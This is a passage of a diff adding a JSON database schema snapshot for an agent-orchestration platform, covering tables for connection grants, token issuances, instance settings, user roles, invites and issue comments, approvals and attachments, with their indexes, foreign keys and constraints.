+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_default_uq": {
+          "name": "connection_grants_default_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"connection_grants\".\"is_default\" = true and \"connection_grants\".\"kind\" = 'workspace'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_grants_company_id_companies_id_fk": {
+          "name": "connection_grants_company_id_companies_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_grants_created_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_created_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_revoked_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_revoked_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "revoked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_company_connection_fk": {
+          "name": "connection_grants_company_connection_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "company_id",
+            "connection_id"
+          ],
+          "columnsTo": [
+            "company_id",
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "connection_grants_kind_check": {
+          "name": "connection_grants_kind_check",
+          "value": "\"connection_grants\".\"kind\" in ('workspace', 'user')"
+        },
+        "connection_grants_status_check": {
+          "name": "connection_grants_status_check",
+          "value": "\"connection_grants\".\"status\" in ('active', 'revoked', 'expired', 'needs_reauthorization')"
+        },
+        "connection_grants_subject_check": {
+          "name": "connection_grants_subject_check",
+          "value": "(\"connection_grants\".\"kind\" = 'user' and \"connection_grants\".\"subject_user_id\" is not null) or (\"connection_grants\".\"kind\" = 'workspace' and \"connection_grants\".\"subject_user_id\" is null)"
+        },
+        "connection_grants_default_check": {
+          "name": "connection_grants_default_check",
+          "value": "\"connection_grants\".\"is_default\" = false or \"connection_grants\".\"kind\" = 'workspace'"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.connection_token_issuances": {
+      "name": "connection_token_issuances",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_scope": {
+          "name": "requested_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "issued_scope": {
+          "name": "issued_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "ttl_seconds": {
+          "name": "ttl_seconds",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_token_issuances_company_created_idx": {
+          "name": "connection_token_issuances_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_connection_created_idx": {
+          "name": "connection_token_issuances_connection_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_agent_connection_idx": {
+          "name": "connection_token_issuances_agent_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_run_idx": {
+          "name": "connection_token_issuances_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_token_issuances_company_id_companies_id_fk": {
+          "name": "connection_token_issuances_company_id_companies_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_application_id_tool_applications_id_fk": {
+          "name": "connection_token_issuances_application_id_tool_applications_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_connection_id_tool_connections_id_fk": {
+          "name": "connection_token_issuances_connection_id_tool_connections_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_agent_id_agents_id_fk": {
+          "name": "connection_token_issuances_agent_id_agents_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_run_id_heartbeat_runs_id_fk": {
+          "name": "connection_token_issuances_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_issue_id_issues_id_fk": {
+          "name": "connection_token_issuances_issue_id_issues_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_project_id_projects_id_fk": {
+          "name": "connection_token_issuances_project_id_projects_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_settings": {
+      "name": "instance_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "singleton_key": {
+          "name": "singleton_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "general": {
+          "name": "general",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "experimental": {
+          "name": "experimental",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_settings_singleton_key_idx": {
+          "name": "instance_settings_singleton_key_idx",
+          "columns": [
+            {
+              "expression": "singleton_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "instance_settings_default_environment_id_environments_id_fk": {
+          "name": "instance_settings_default_environment_id_environments_id_fk",
+          "tableFrom": "instance_settings",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_user_roles": {
+      "name": "instance_user_roles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'instance_admin'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_user_roles_user_role_unique_idx": {
+          "name": "instance_user_roles_user_role_unique_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "instance_user_roles_role_idx": {
+          "name": "instance_user_roles_role_idx",
+          "columns": [
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.invites": {
+      "name": "invites",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invite_type": {
+          "name": "invite_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company_join'"
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "allowed_join_types": {
+          "name": "allowed_join_types",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'both'"
+        },
+        "defaults_payload": {
+          "name": "defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invited_by_user_id": {
+          "name": "invited_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "accepted_at": {
+          "name": "accepted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "invites_token_hash_unique_idx": {
+          "name": "invites_token_hash_unique_idx",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "invites_company_invite_state_idx": {
+          "name": "invites_company_invite_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "invite_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revoked_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "invites_company_id_companies_id_fk": {
+          "name": "invites_company_id_companies_id_fk",
+          "tableFrom": "invites",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_approvals": {
+      "name": "issue_approvals",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "linked_by_agent_id": {
+          "name": "linked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_by_user_id": {
+          "name": "linked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_approvals_issue_idx": {
+          "name": "issue_approvals_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_approval_idx": {
+          "name": "issue_approvals_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_company_idx": {
+          "name": "issue_approvals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_approvals_company_id_companies_id_fk": {
+          "name": "issue_approvals_company_id_companies_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_issue_id_issues_id_fk": {
+          "name": "issue_approvals_issue_id_issues_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_approval_id_approvals_id_fk": {
+          "name": "issue_approvals_approval_id_approvals_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_linked_by_agent_id_agents_id_fk": {
+          "name": "issue_approvals_linked_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "linked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_approvals_pk": {
+          "name": "issue_approvals_pk",
+          "columns": [
+            "issue_id",
+            "approval_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_attachments": {
+      "name": "issue_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_attachments_company_issue_idx": {
+          "name": "issue_attachments_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_issue_comment_idx": {
+          "name": "issue_attachments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_asset_uq": {
+          "name": "issue_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_attachments_company_id_companies_id_fk": {
+          "name": "issue_attachments_company_id_companies_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_id_issues_id_fk": {
+          "name": "issue_attachments_issue_id_issues_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_asset_id_assets_id_fk": {
+          "name": "issue_attachments_asset_id_assets_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_comment_id_issue_comments_id_fk": {
+          "name": "issue_attachments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_comments": {
+      "name": "issue_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "on_behalf_of_user_id": {
+          "name": "on_behalf_of_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_agent_id": {
+          "name": "derived_author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_created_by_run_id": {
+          "name": "derived_created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_source": {
+          "name": "derived_author_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "presentation": {
+          "name": "presentation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_type": {
+          "name": "deleted_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_agent_id": {
+          "name": "deleted_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_user_id": {
+          "name": "deleted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_run_id": {
+          "name": "deleted_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_comments_issue_idx": {
+          "name": "issue_comments_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_idx": {
+          "name": "issue_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_issue_created_at_idx": {
+          "name": "issue_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_author_issue_created_at_idx": {
+          "name": "issue_comments_company_author_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_body_search_idx": {
+          "name": "issue_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_comments_company_id_companies_id_fk": {
+          "name": "issue_comments_company_id_companies_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_issue_id_issues_id_fk": {
+          "name": "issue_comments_issue_id_issues_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_comments_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_on_behalf_of_user_id_user_id_fk": {
+          "name": "issue_comments_on_behalf_of_user_id_user_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "user",
+          "columnsFrom": [
+            "on_behalf_of_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
